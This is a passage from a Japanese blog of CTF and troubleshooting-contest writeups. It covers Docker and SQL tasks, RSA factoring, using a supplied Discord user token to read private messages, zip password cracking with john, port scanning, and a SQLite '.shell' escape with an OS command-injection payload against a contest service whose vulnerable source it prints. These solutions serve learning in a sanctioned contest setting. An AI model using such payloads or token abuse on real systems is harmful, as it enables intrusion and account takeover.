"curl/7.58.0" "-" 172.20.5.0 - - [31/Oct/2020:08:43:22 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.58.0" "-" 172.16.0.12 - - [31/Oct/2020:08:47:35 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.58.0" "-" 172.20.5.0 - - [31/Oct/2020:08:48:02 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.58.0" "-" 172.16.0.12 - - [31/Oct/2020:08:48:14 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.58.0" "-"
ダイエットしようぜ!(100/100)
参考リンクとしても貼りましたが、golang smallest image
とかでggると一番上に該当記事が出てくるので、これを読めば10分ぐらいで解ける問題でした。googling大事。
問題
GoでSHA256するhash.go
を書いた。これを実行するコンテナが欲しかったので雑にDockerfile
を書いてビルドしてイメージを作成した。問題なくSHA256できるようになったが、イメージが大きくてテンションが上がらない。 あなたには、Dockerfile
を編集したりビルドコマンドを変えたり、あるいはビルド後のイメージに対してなにかしたりしてイメージを小さくしてほしい。 ただし、hash.go
のコードにはこだわっているので編集してはならない。 $ make build
でictsc-dit
という名前のDocker imageを作ることができる。詳細はMakefile
を参照されたい。採点の際にVMを確認する場合、どのイメージが回答によって作成されたイメージかすぐに判別できるよう、是非使ってほしい。
回答
この問題では、以下の2つのいずれかを実践することで、Dockerイメージのサイズを減らすことができます。
- ベースとなるgolangのDockerイメージのタグを
alpine
にする - マルチステージビルドを利用する
今回は、よりイメージサイズを減らすことができる、マルチステージビルドを利用しました。
その結果、イメージサイズを2.05MB
まで減らすことができました。
手順
1: Dockerfile
の中身を以下のように書き換え
# step 1 FROM golang:alpine AS builder ADD . /work WORKDIR /work RUN go build -o /go/bin/hash # step 2 FROM scratch COPY --from=builder /go/bin/hash /go/bin/hash ENTRYPOINT ["go/bin/hash"]
2: make build
でイメージをbuild
3: docker images
でイメージサイズを確認
user@vm01:~$ docker images REPOSITORY TAG IMAGE ID CREATED SIZE ictsc-dit latest 7a50b38100f3 5 minutes ago 2.05MB
4: docker run
で正常にコンテナが動作することを確認
user@vm01:~$ make run docker run -it --rm --name ictsc-dit-container ictsc-dit data: aaa SHA256: 9834876dcfb05cb167a5c24953eba58c4ac89b1adf57f28f2f9d09af107ee8f0
参考
データベース
備品は何処へ(100/100)
ぼくの読解力が悪いのか、問題文と終了状態の定義が曖昧な気がして、それの確認に時間が取られた問題でした。。 普段DBを触るにしてもWeb Frameworkのラッパー経由が多く、SQLをそのまま触る機会は減っていたので、復習しながら取り組めたのでよかったです。
問題
あなたは現在、自社の備品を管理する部署に勤務している。管理システムはとても古くMySQLを利用している。
ある日、上司から特定の製造会社のパソコン(Manufacturing_company_E
)、特定の建物(HQ
)で相性が悪く交換するためリストを作成してほしいと依頼を受ける。なお、注文会社はパソコンの管理を行う専門会社である。
MySQLのデータベースからcsvファイル(submit.csv)を出力するSQL文(submit.sql)を作成し実行しなさい。
回答
- submit.sql
USE List; SELECT Equipment_list.ID AS "Equipment ID" ,Equipment_list.Name AS "Equipment Name" ,Order_company_list.Name AS "Order company Name" ,Manufacturing_company_list.Name AS "Manufacturing company Name" ,Equipment_list.Price AS "Equipment Price" FROM Equipment_list JOIN Manufacturing_company_list ON Equipment_list.Manufacturing_campany=Manufacturing_company_list.id JOIN Order_company_list ON Equipment_list.Order_company=Order_company_list.id JOIN Location_list ON Equipment_list.Use_place=Location_list.id WHERE Manufacturing_company_list.Name='Manufacturing_company_E' AND Location_list.Building_name='HQ' ORDER BY Equipment_list.Price DESC INTO OUTFILE '/tmp/submit.csv' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"';
- submit.csv
24,"pc_x","Order_company_E","Manufacturing_company_E",1600 17,"pc_q","Order_company_J","Manufacturing_company_E",800
おわりに
Dockerはアルバイトでよく使っているので、今回Docker問題が多くてラッキーでした。予選ラッキー通過でした。 k8sは最近さわりはじめたばかりなので、本戦までには太刀打ちできるようになっていてほしいです(To自分)。 今回、ネットワーク問題はほとんど解いておらず、得意かというとそうでもないので、本戦までに頑張っていきたいです。
参加者、運営のみなさんトラブルシューティングお疲れさまでした。
Zh3r0 CTFに参加したおはなし
はじめに
ctftime.orgにて見つけた、Zh3r0 CTFとやらに、2日目の昼ぐらいから1人でひっそりと参加しました。 結果は、1384ポイントで、810チーム中175位でした。 もうちょっと頑張りたかったなあというお気持ちです。
いろんなジャンルの問題が出題されていたんですが、ほとんどのジャンルの触りの問題しか解けなかったです。つらい。 以下にCTFdのリッチなスコア画面の一部を載せておきます。 16時前から20時ぐらいまでが一番取り組んでたはずなのに、全然スコアが変わってないですね。悲しい。
では、備忘録としてwriteupを書いていきます(welcome系の問題は省きます)。
目次
[toc]
Writeups
RSA-Warmup - Crypt (20)
RSA is one of the first public-key cryptosystems and is widely used for secure data transmission. In such a cryptosystem, the encryption key is public and distinct from the decryption key which is kept secret. You all know this :p here is a warmup question.
nc crypto.zh3r0.ml 8451
Author : Finch
Cryptの超簡単な問題らしいです。
手始めに、与えられたサーバーにアクセスすると、次のように、N
とCT
と、よく見たらe
が与えられます。
$ nc crypto.zh3r0.ml 8451 N: 308051270710135702996040605286818433793711353550617317701193169151276189067532164511643510276134063421796768864465665703584702749269261428789682425289413761516824552560721023024186455596868904214620356109141770431007778797144062315815972973290199066311100079569526397683776312985291516152625811225886351004501626870823 e 65537 CT: 30709473425159171299520825095261005615552655385449912891827878235048571229401267923174369034256520103525411275610842692530767429124293047575582224576587413577905912072168026583801146478806821956101260895155089710384650128939221689021763048961179401991902924891096688884606683625578665778409730072721585153101434625997
RSA - GrinningChicken CTFによれば、N
を素因数分解して、p
とq
が得られれば、d
を求めることができ、それと、N
を使ってCT
を求めることができるようです。
Integer factorization calculatorというサイトで、N
を与えると、p
とq
が得られます。
import binascii from Crypto.PublicKey import RSA from Crypto.Util.number import inverse import gmpy2 N = 360603269950717127958760246163951087043653062932088423467851263183841195982469186986247797462136128745502344222370032221671761738315302847959684763944339067125598238100462217330746123763793945305815944226742458211575982476444545607727592701928013154987794678644639056679851880595959438464365438444242105681976170048233 CT = 42437077913617929464480903272150567089748882677114169372376817944866452865821528116587879624328040402591495026434331016168378827908346491973919641330181046283054065817159232012784632830695669632367600387846791108451794862353062701183232865747649340186603902638878987762345311390914593947979228065750978945968847039156 e = 65537 p = 3945777523 q = 91389660934696628601267503891133876035223454470493830593968656246471602190853979119858197200779210973649804589443912299784207001859213248896517869881012819365081632885682140201787074695086387237706393165731067045661201227448054883080034388935316856937702891021471069563860932510045989854548988580733548286771 d = inverse(e, (p-1)*(q-1)) key = RSA.construct((N, e, d)) print(binascii.unhexlify(hex(key.decrypt(CT))[2:]).decode("utf-8"))
というわけで、以上のようなコードで、フラグが得られます。 コードはSECCON Beginners CTF 2018 - RSA is Power - こんとろーるしーこんとろーるぶいを参考にさせていただきました。
$ python dec.py zh3r0{RSA_1s_Fun}
Web-Warmup - Web (50)
Chall Link : http://web.zh3r0.ml:8080/ Easy peasy.
Author : careless_finch
とりあえず、curl
すると、以下のようなHTMLが得られます。
なんだか構造がすごく気持ち悪いですね。(暴言)
$ curl http://web.zh3r0.ml:8080/ <html> <title>Welcome Here</title> <link rel="stylesheet" type="text/css" href="bg.css"> <h1> Hey. This is just WARM-UP</h1> <input type="hidden" id="one" name="one" value="none"> <img src="warm.jpg" alt="nothing is here " id='selector'>
input
があるし、そこにPOSTするのかなあ、warm.jpg
のステガノかなあ、と思ったりしたのですが、bg.css
を覗くとフラグがありました。
$ curl http://web.zh3r0.ml:8080/bg.css /*css is easy, I think. Don't you?zh3r0{y3s_th1s_1s_w4rmup}*/ #selector { width:100%; height:100%;
Tokens - Web (50)
The flag was sent by Mr.4N0NYM4U5 to my victim. But i dont have the username and password of the victim to login into the discord account. The only thing i have is a god damn token. Can you help me to get the flag. Ill give you the token and it is all you need. Token : NzIyMzM1MTQ5NDA0MTkyODIw.XunLaw.xASADEeu9iXsYf1wqTFOil_jgfo
Author : Mr.4N0NYM4U5
discordのAPIを与えられたTokenを使って叩けみたいな問題でした。 discordにはユーザー用のTokenとbot用のTokenがあるようで、最初はdiscordのbot用のSDK的なsomethingを使って、頑張って調査して、時間を溶かしてしまいました。 まあ普通に問題文を読めば、ユーザー用だよねってことがわかるので、ユーザー用のTokenとしてどう使うかを調査しました。
BurpSuiteを立ち上げながら、ブラウザ版のdiscordにログインしたり、適当な操作をやったあと、一通り通信を眺めてみました。
結果的に、Authorization
ヘッダにTokenを含めて/api/v6/
以下のエンドポイントを叩いていることがわかりました。
とりあえず、そのへんにあった/api/v6/users/@me/guilds
というRequestのTokenを書き換えて投げてみると、フラグが得られました。
(あとがき)writeupを書きながら検証していると、上記と同じ手順で解けなかったので、おそらく想定解ではなかった?のか、discord内の何かが変わった可能性があります。writeup執筆時点での、うまくいった手順は以下のとおりです。 APIのドキュメントはこちらを参考にしました。
/api/v6/users/@me/channels
にTokenを含めてGETリクエスト- レスポンスに見に行くべきchannelのidが含まれている
[ { "id":"722336834264498177", "last_message_id":"722774529239285781", "last_pin_timestamp":"2020-06-16T20:48:55.080000+00:00", "type":1, "recipients":[ { "id":"402012560553148426", "username":"Mr.4N0NYM4U5", "avatar":"c5c89aac100ab60a58dadda34a3797c5", "discriminator":"2435", "public_flags":0 } ] } ]
/api/v6/channels/722336834264498177/messages
にTokenを含めてGETリクエスト- レスポンスにフラグらしき文字列が含まれている
[ ...(中略) { "id":"722338901221703732", "type":0, "content":"`flag : zh3r0{1et_7he_F0rce_8e_With_YoU}`", "channel_id":"722336834264498177", "author":{ "id":"402012560553148426", "username":"Mr.4N0NYM4U5", "avatar":"c5c89aac100ab60a58dadda34a3797c5", "discriminator":"2435", "public_flags":0 }, ...(中略) } ]
Katycat - Forensics (175)
katycat trying to find the flag but she is lazy. will you help her to find the flag?
Author : cryptonic007
猫の写った、png画像が与えられます。 とりあえず、stringsや、binwalk、exiftoolsをかけてみましたが、めぼしいヒントは得られず。 次に、青空白猫に入れて、ステガノグラフィー解析機能で、次候補ボタンをポチポチ押していました。 すると、ビット0抽出で、左上に、黒い点の列が見えたので、LSBにデータが隠されていることがわかりました。
というわけで、同ソフトウェアのビット抽出機能を使って、RGBそれぞれのLSB(0ビット目)のみ抽出して、データを表示してみると、https://pastebin.com/hvgCXNcP
というURLが得られました。
サイトに行くと、Base64エンコードされたような、文字列が保存されていたので、CyberChefに入れて、Base64 Decodeすると、出力されたバイナリの先頭にPK
、中間にflag.txt
という文字列が存在することがわかりました。
PK
はzipファイルのマジックナンバーなので、zipファイルのバイナリデータであることがわかりました。
以下のコマンドで、zipファイルとしてダウンロードします。
$ curl -s https://pastebin.com/raw/hvgCXNcP | base64 -D > out.zip
しかし、解凍しようとすると、パスワードがかかっていることがわかります。
$ unzip out.zip Archive: out.zip [out.zip] flag.txt password:
zip2john
を使ってパスワードハッシュを求め、john
でそのハッシュを使って、パスワードをcrackします。
$ zip2john out.zip > test.hash ver 1.0 efh 5455 efh 7875 out.zip/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=37, decmplen=25, crc=BCC1DEEE $ john test.hash ...(前略) kitkat (out.zip/flag.txt) ...(後略)
上記パスワードを使って、unzip
してflag.txt
の中を見てみると、暗号化されたような文字列がまた現れます。
$ unzip out.zip Archive: out.zip [out.zip] flag.txt password: extracting: flag.txt ushiken:Katycat user$ cat flag.txt K9bC_L`D?f0DEb8c?_06cDJN
一応ASCIIに収まっていることから、ROTかな?という軽い推測をして、CyberChefに再度入力してみると、ROT13ではなく、ROT47でフラグを複合できました。
zh3r0{1sn7_st3g4n0_e4sy}
snakes everywhere - Reversing (357)
Can a snake go backwards
Author : Whit3_D3vi1
py_dis1
とsnake.txt
という2つのファイルが与えられます。
py_dis1
には、以下のような文字列が入っており、snake.txt
には数十バイトのバイナリデータが入っていました。
$ head -20 py_dis1 2 0 LOAD_CONST 0 (0) 2 LOAD_CONST 1 (('flag1',)) 4 IMPORT_NAME 0 (flags) 6 IMPORT_FROM 1 (flag1) 8 STORE_NAME 1 (flag1) 10 POP_TOP 3 12 LOAD_NAME 1 (flag1) 14 STORE_NAME 2 (flag) 4 16 LOAD_CONST 2 ('zh3r0{fake flag}') 18 STORE_NAME 3 (fake_flag) 6 20 LOAD_CONST 3 ('I_l0v3_r3v3r51ng') 22 STORE_NAME 4 (key) 8 24 LOAD_NAME 5 (len) 26 LOAD_NAME 2 (flag) 28 CALL_FUNCTION 1 30 LOAD_CONST 4 (38) ...(後略)
py dis
でggると、dis --- Python バイトコードの逆アセンブラ — Python 3.8.3 ドキュメントというサイトが出てきました。
pythonのbytecodeを逆アセンブルすることができるらしいです。
早速インストールして使ってみました。
$ pip install dis $ echo "a=1;print(a)" | python -m dis 1 0 LOAD_CONST 0 (1) 2 STORE_NAME 0 (a) 4 LOAD_NAME 1 (print) 6 LOAD_NAME 0 (a) 8 CALL_FUNCTION 1 10 POP_TOP 12 LOAD_CONST 1 (None) 14 RETURN_VALUE
1列目が、入力されたコードの行番号、2列目がバイトコードの位置、3列目が人間が読める形式のオペコード(命令)、4列目は命令が参照する内部変数のインデックス、5列目がオペランド(被演算子)のようです。
内部変数には、co_consts
, co_names
, co_varnames
などのタプルがあり、こちらに変数名などを保持しているそうです(参考: inspect --- 活動中のオブジェクトの情報を取得する — Python 3.8.3 ドキュメント")。
このコードを簡単に解説します。
コードでは、最初にLOAD_CONST (1)
で1
がスタックに積まれて、STORE_NAME (a)
でa
にスタックのトップにある1
をストアしています(a=1;
)。
次に、LOAD_NAME (print)
とLOAD_NAME (a)
をそれぞれスタックに積み、CALL_FUNCTION
でスタックのトップを引数、その次を関数として呼び出します(print(a)
)。
最後に、プログラムの終了処理を行っています。
dis
をつかった解析は、writeup執筆中に見つけた、dis/inspect モジュールを使った Python のハッキングというサイトに詳しく日本語で書いてありました。
以上のような形で、逆アセンブル結果から、元のコードを(無理やり)復元できることがわかったので、復元してみた結果が、以下のコードです。
このコードを$ python -m dis rev1.py
とすると、だいたい元の逆アセンブル結果と同じ結果が得られます。
from flags import flag1 flag = flag1 fake_flag = "zh3r0{fake flag}" key = "I_l0v3_r3v3r51ng" if not len(flag) == 38: raise AssertionError def xor(str1, str2): return chr(ord(str1) ^ ord(str2)) ciphertext = '' for i in range(len(flag)//3): ciphertext += chr(ord(key[i])*ord(flag[i])-i) for i in range(len(flag)//3, len(flag)//3*2): ciphertext += chr(ord(flag[i])*ord(key[i % len(key)])+i) for i in range(len(key)//2, len(flag)): ciphertext += xor(key[i % 16], flag[i]) file = open('ciphertext.txt', 'w') print(len(ciphertext)) file.write(ciphertext) file.close()
このコードから、以下のことがわかります。
flags.py
のflag1
という変数にフラグが格納されている- フラグの文字列長は38文字
I_l0v3_r3v3r51ng
という文字列を鍵として、フラグを暗号化しているciphertext.txt
というファイルに暗号化されたフラグが格納されている- おそらく、
ciphertext.txt
とsnake.txt
は同じもの
以上のことから、このコードからさらに、暗号化されたフラグを復号するコードを書く必要があることがわかります。 ということで、復号するコードが以下のコードです。
from rev1 import xor FLAG_LEN = 38 key = "I_l0v3_r3v3r51ng" with open('snake.txt', 'r') as f: ciphertext = f.read() flag = ["A" for _ in range(FLAG_LEN)] for i in range(FLAG_LEN//3): flag[i] = chr(int((ord(ciphertext[i])+i)/ord(key[i]))) for i in range(FLAG_LEN//3, FLAG_LEN//3*2): flag[i] = chr(int((ord(ciphertext[i])-i)/ord(key[i % len(key)]))) lev3_offset = FLAG_LEN//3*2 c = 0 for i in range(len(key)//2, FLAG_LEN): flag[i] = xor(key[i % 16], ciphertext[c+lev3_offset]) c += 1 print("".join(flag))
ここでは、次の4つの法則性を使って、復号コードを作成しました。
chr(ord('A')) => 'A'
ord(chr(0x41)) => 0x41
c = a ^ b = b ^ a
a = b ^ c
というわけで、このコードを使って復号すると、フラグが得られます。
$ python dec.py 54 zh3r0{Python_disass3mbly_is v3ry_E4sy}
Subset of subset of hacking machines challenges
Description: Here's the url ;)
hackit.zh3r0.ml
Author : Mr.Holmes
hackthebox的な問題で、1つのマシンをターゲットにフラグを探す問題になっていて、全部で6つのフラグが隠されていました。 そのうちの3つを見つけたので、それぞれの解法をスコアの低い順に書いていきます。
Flag 5 (50)
手始めに、nmap -sV hackit.zh3r0.ml
で、ポートスキャンをしたところ、tcpの22番と99番がopenになっていることが確認されました。
22番はhttpらしきサービスが、99番はOpenSSH 7.6p1
が立っているようでした。
まずは、httpから見ていこうと思い、Firefoxでhttp://hackit.zh3r0.ml:22/
にアクセスすると、このアドレスへの接続は制限されています
と言われてアクセスできなかったので、こちらを参考に以下の手順で設定を追加しました。
about:config
をURLバーに打ち込み危険性を承知の上で使用する
ボタンをクリック- 検索バーに
network.security.ports.banned.override
と打ち込み、文字列
にチェックを入れて、+
ボタンをクリック - 値を打ち込めるので、
22
と入力し、チェックボタンをクリック
以上の手順のあと、もう一度http://hackit.zh3r0.ml:22/
にアクセスしてみると、z3hr0{shouldve_added_some_filter_here}
というフラグが得られました。
Flag 1 (227)
http://hackit.zh3r0.ml:22/
に対して、dirb
というブルートフォースでwebサービス上のディレクトリやファイルを探すコマンドを使ってみた結果、robots.txt
が存在することがわかったため、curl
でアクセスしてみました。
$ curl http://hackit.zh3r0.ml:22/robots.txt Hmmm you shouldnt be here.... 2yryYz3sx16kWt72agdFZJqxZ5kqqvocsnU416bULtVs63Cvwmvr6f34Ck8sSHQU1PPnQqD7bqW9q By the way did you see any ads on this thing?
暗号化されたような文字列を得られたので、CyberChefにて、Baseなんちゃら系で復号していると、Base58で復号できることがわかりました。
I tried to hide this, anyway, check out /clue3349203.txt
復号された文字列によると、/clue3349203.txt
に次のヒントが隠されているようだったので、curl
にて再びアクセスしてみました。
$ curl http://hackit.zh3r0.ml:22/clue3349203.txt ([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+...(後略)
JSFuckと呼ばれる、javascriptのbrainfuck言語のような文字列が与えられたので、JsUnFuckというサイトで、デコードしてみた結果、console.log('Employee ID: 865151c643cbbb7e3bf4fd5dbb71354e')
という文字列が得られました。
しかし、これを使える場所がまだ見つかっていなかったので、他を当たることにしました。
その後、99番ポートのSSHに対して、UsernameEnumerationしていましたが、途中のアナウンスで、
:TIME_SAVING_TIP: SSH is out of scope. Bruteforcing SSH on hacking-machine is not required. Allowed? Yes. But while setting passwords I made sure they are not in any publicly available wordlist.
と言われていることに気づきました。
そして、Well-knownポートしかスキャンしていないことに、途中で気づいて、全ポートスキャンをしました(その間にラーメン花月の油そばを食べに行ってきました)。
全ポートスキャンをした結果、新たにtcpの324番ポートにvsftpd 3.0.3
と4994番ポートにunknownなサービスが立ち上がっていることがわかりました。
とりあえず、ftpの調査をしたところ、以下の通り煽られてしまいました。
$ ftp hackit.zh3r0.ml 324 Connected to hackit.zh3r0.ml. 220 (vsFTPd 3.0.3) Name (hackit.zh3r0.ml:user): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -l 229 Entering Extended Passive Mode (|||51696|) 150 Here comes the directory listing. -rw-r--r-- 1 ftp ftp 22 Jun 16 23:45 test.txt 226 Directory send OK. ftp> get test.txt local: test.txt remote: test.txt 229 Entering Extended Passive Mode (|||23036|) 150 Opening BINARY mode data connection for test.txt (22 bytes). 100% |****************************************************************************************************************************************| 22 41.71 KiB/s 00:00 ETA 226 Transfer complete. 22 bytes received in 00:00 (0.12 KiB/s) ftp> ^D 221 Goodbye. $ cat test.txt LOL Nothing here. ;-;
次に、4994番ポートにcurl
でアクセスしてみたところ、以下のような出力でフラグが得られました。
しかし、curl
コマンドが終了しませんでした。
$ curl http://hackit.zh3r0.ml:4994/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ||Employee Entry|| ---------------------------------------------------------- Sherlock Holmes Inc. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Here's a free flag for you, just for finding this door! Flag 1: zh3r0{pr05_d0_full_sc4n5} Heyo, Watcha looking at? Employee ID yoo! : Go away kiddo, huh, Kids these days!
Flag 3 (445)
curl
コマンドが終了しなかったことから、4994番ポートはhttpではなく、なんらかのプログラムが動いているのではないかと気づき、nc
コマンドにて再度アクセスしてみたところ、標準入力で何かを入力することができました。
このメッセージから、Employee ID
を入力しろと言われているので、先に得られたidを入力したところ、フラグを得ることができました。
$ nc hackit.zh3r0.ml 4994 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ||Employee Entry|| ---------------------------------------------------------- Sherlock Holmes Inc. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Here's a free flag for you, just for finding this door! Flag 1: zh3r0{pr05_d0_full_sc4n5} Heyo, Watcha looking at? Employee ID yoo! : 865151c643cbbb7e3bf4fd5dbb71354e Hey I know you! You work here! If you don't like to read, you haven't found the right book. - JK Rowling Flag 3: zh3r0{y0ur_b0nu5_i5_p4id}
おわりに
ほとんど、初級の問題しか解けなかったので、もっと精進したい(いつも言ってる気がする)。 いろいろ知らなかった技術とか、忘れてたことを思い出せたので、よかったです。 あと7日間(2020/06/25まで?)はサーバーが動いているらしいので、writeupを読みながら解けなかった問題を解いていきたいです。
KOSENセキュリティコンテスト2019( #sckosen )に参加したおはなし
はじめに
高専セキュリティコンテスト2019に参加したので, 備忘録として解けた問題のWriteupを書きます. 競技時間が6時間と, 例年に比べかなり短い時間で, ほとんどの問題のアーカイブを取り忘れてしまったので, 思い出せる限りで書きます.
コンテストにはLynT4χとして, 4人で出場して, 途中まで十何位とか二十何位とかにいたんですが, なんとか優勝することができました. 配点が高い問題が結構ツールでサクッと解けちゃったりして, 少し配点ミスな気もしましたし, そこが勝因にもなったのかなと思います.
目次
- 01 回答は半角で (Crypto 50)
- 10 ツートントン (Misc 100)
- 11 新人エンジニアの発明 (Misc 100)
- 13 名前を解決したい! (Network 150)
- 15 最後に消したファイル (Forensics 200)
- 16 メモリダンプ (Forensics 250)
- 18 you are not admin (Web 250)
- おわりに
01 回答は半角で (Crypto 50)
パーセントエンコーディングされた文字列が与えられ, デコードすると全角のフラグが現れるので, 半角に変換して提出するだけ. フラグは忘れました.
10 ツートントン (Misc 100)
一番最後に提出して決勝点となった問題. 次のような画像が与えられ, 問題タイトルから, モールス信号であると想定します.
デコード方法はほとんどチームメンバーが見つけてくれたので, ぼくはそれを聞きながらPythonでデコードスクリプトを書きました.
以下のサイトを見て, デコード方法を見つけたそうです.
このサイトによれば,
モールス符号には、短点の長さを基準に長点の長さ、 符号間や単語間の長さ(間隔)が決められています。
短点の長さを1とすると 長点の長さは、短点3点分。 一つの符号を作る長点や、短点との間隔は、短点1点分 符号間は3短点分、単語間は7短点分空けることとなっているため 短点一つのEを EEやEEEと打ってもIやSにならないのです。
とのこと.
今回の問題では, 短点の長さを1とすると, モールス信号として成り立たなくなってしまうので, 短点の長さを2と仮定して, デコードを進めます. 短点の長さが2になるので, 上記のサイトの通りに考えれば, 長点の長さは短点6つ分. 文字間の間隔は6短点分, 単語間は14短点分となります.
ただし, なぜか今回の問題では, 長点の長さだけ上記のサイトとは違い, 短点5つ分だったのが, 解くのに時間がかかってしまったポイントだと思います.
ここまでをまとめると, 今回の問題では, 以下のような表をもとに, 画像から色を抽出し, モールス信号に変換後, 文字列に戻してあげればよさそうです.
意味 | 色 |
---|---|
短点 | 黒黒 |
長点 | 黒黒黒黒黒 |
文字区切り | 白白白白白白 |
単語区切り | 白白白白白白白白白白白白白白 |
ということで, 以下のようなスクリプトでデコードをします.
from PIL import Image MORSE_CODE_DICT = { 'A':'.-', 'B':'-...', 'C':'-.-.', 'D':'-..', 'E':'.', 'F':'..-.', 'G':'--.', 'H':'....', 'I':'..', 'J':'.---', 'K':'-.-', 'L':'.-..', 'M':'--', 'N':'-.', 'O':'---', 'P':'.--.', 'Q':'--.-', 'R':'.-.', 'S':'...', 'T':'-', 'U':'..-', 'V':'...-', 'W':'.--', 'X':'-..-', 'Y':'-.--', 'Z':'--..', '1':'.----', '2':'..---', '3':'...--', '4':'....-', '5':'.....', '6':'-....', '7':'--...', '8':'---..', '9':'----.', '0':'-----', ', ':'--..--', '.':'.-.-.-', '?':'..--..', '/':'-..-.', '-':'-....-', '{':'-.--.', '}':'-.--.-', '=':'-...-' } MORSE_REV_DICT = {v:k for k,v in MORSE_CODE_DICT.items()} img = Image.open("image.png") px = list(img.getdata())[1:] s = "".join(["0" if c==0 else "1" for c in px]) codes = [w.split("1"*6) for w in s.split("1"*14)] flag = "" for i in range(len(codes)): for j in range(len(codes[i])): if codes[i][j] != '': codes[i][j] = codes[i][j].replace("00000", "-") codes[i][j] = codes[i][j].replace("00", ".") codes[i][j] = codes[i][j].replace("11", "") flag += MORSE_REV_DICT[codes[i][j]] flag += " " print(flag)
このスクリプトを実行すると, フラグが得られます.
$ python solve.py THIS IS MORSE CODE. CAN YOU FIND THE FLAG? THE FLAG IS CTFKIT{TUU=TON=TON=TUU=TON} HAHA, CAN YOU FIND IT?
FLAG: CTFKIT{TUU=TON=TON=TUU=TON}
11 新人エンジニアの発明 (Misc 100)
新人がこれ開発しました!, ええ..大丈夫?みたいな問題.
nc 34.84.50.179 80
でアクセスすると, 下記のようなプロンプトが出力されます.
$ nc 34.84.50.179 80 Ultra Admin Panel You can full control and access. Please Enter Query:
Please Enter Query:
とあるので, SQLを入れてみると, データベースっぽいエラー文が返ってきます.
エラー文の文面や, .schema
などが使えることから, SQLiteであると判断できます.
Please Enter Query: test Error: near "test": syntax error
Please Enter Query: .schema CREATE TABLE user(id integer, name text, old integer);
このあと, .table
コマンドでテーブル一覧を表示させて, user
テーブルが見つかったので, 中を見たんですがフラグっぽいものはなにもなかったです.
そこで, シェルを取るのかなあと考えて, SQLiteはあまり触ったことがないので, とりあえず.help
とかでなにか組み込みの関数でシェルを取れるコマンドがないかを探しました.
Please Enter Query: .help .auth ON|OFF Show authorizer callbacks .backup ?DB? FILE Backup DB (default "main") to FILE ... .shell CMD ARGS... Run CMD ARGS... in a system shell ... .width NUM1 NUM2 ... Set column widths for "column" mode Negative values right-justify
ビンゴ!ということで, .shell
コマンドで下記の通りにフラグを得られます.
そういえば, なんでcatだとhi
しか出力されなかったのに, grepだとヒットしたんだろう...
$ nc 34.84.50.179 80 Ultra Admin Panel You can full control and access. Please Enter Query: .shell ls flag.txt hogehoge.txt main.py myadata ydata mydata.back out.txt user.back userdata.txt $ nc 34.84.50.179 80 Ultra Admin Panel You can full control and access. Please Enter Query: .shell cat flag.txt hi $ nc 34.84.50.179 80 Ultra Admin Panel You can full control and access. Please Enter Query: .shell grep -r CTFKIT ./ ./flag.txt:CTFKIT{be_careful_os_com_injection}
せっかくなので, main.py
も手に入れることができたので, 下記に載せておきます.
#!/usr/bin/env python3 import os import subprocess # make user table cmd = 'sqlite3 -line mydata.db \'create table user(id integer, name text, old integer);\' ' os.system(cmd) # import user cmd = 'sqlite3 -line mydata.db \'.import ./userdata.txt user\'' os.system(cmd) # console print("Ultra Admin Panel") print("You can full control and access.") sql = input("Please Enter Query: ") cmd = 'sqlite3 -line mydata.db \'' + sql + '\'' out = subprocess.run(cmd, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, shell=True) print(out.stdout.decode()) # clean db cmd = 'rm mydata.db' os.system(cmd)
コードを見る感じでは, 18行目で入力値をそのまま連結してOSコマンドを呼び出しているので, そこでOSコマンドインジェクションするのが, 想定解だったんですかね.
ということで, '; grep -r CTFKIT ./ #
でOSコマンドインジェクションしてもフラグが得られるようです.
$ nc 34.84.50.179 80 Error: cannot open "./userdata.txt" Ultra Admin Panel You can full control and access. Please Enter Query: '; grep -r CTFKIT ./ # ./flag.txt:CTFKIT{be_careful_os_com_injection}
FLAG: CTFKIT{be_careful_os_com_injection}
13 名前を解決したい! (Network 150)
https://futuregadget-9.tech/
にアクセスできないよ, みたいな問題.
dnsdumpster.com
とかいうサイトがあるので, そこで調べると, TXTレコードになにやらIPアドレスが登録されています.
TXT Records ** Find more hosts in Sender Policy Framework (SPF) configurations "ip=153.126.212.45"
$ curl http://153.126.212.45/ <html> <head> <title>flag page</title> </head> <body> <p>CTFKIT{naki_nureshi_megami_no_kikan}</p> </body> </html>
FLAG: CTFKIT{naki_nureshi_megami_no_kikan}
15 最後に消したファイル (Forensics 200)
beelmama.7z
というファイルが与えられます.
普通の7-zipファイルなので解凍して, もう一度fileコマンドで見てみます.
$ file beelmama.7z beelmama.7z: 7-zip archive data, version 0.4 $ 7z x beelmama.7z ... Everything is Ok Size: 52428800 Compressed: 4207275 $ file beelmama beelmama: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", sectors/cluster 4, reserved sectors 4, root entries 512, Media descriptor 0xf8, sectors/FAT 100, sectors/track 32, heads 64, hidden sectors 2048, sectors 102400 (volumes > 32 MB), serial number 0x6d826f3d, unlabeled, FAT (16 bit)
どうやらイメージファイルのようなので, FTKImagerにインポートして, rootディレクトリ以下をエクスポートします.
エクスポートしたものが以下になります(-a
オプションを付けないと隠しファイルを見落としてしまうので気をつけましょう).
$ tree -a \[root\]/ [root]/ ├── .flag │ └── beelzebub.key ├── 1 ├── 10 ├── 2 ├── 3 ├── 4 ├── 5 ├── 6 ├── 7 ├── 8 ├── 9 ├── flag │ └── mullin.encrypted ├── flag.txt ├── flag3.txt ├── flag_no.txt └── test.txt 2 directories, 16 files
隠しフォルダのbeelzebub.key
が怪しいのでcatでみてみると, RSAの秘密鍵が出てきます.
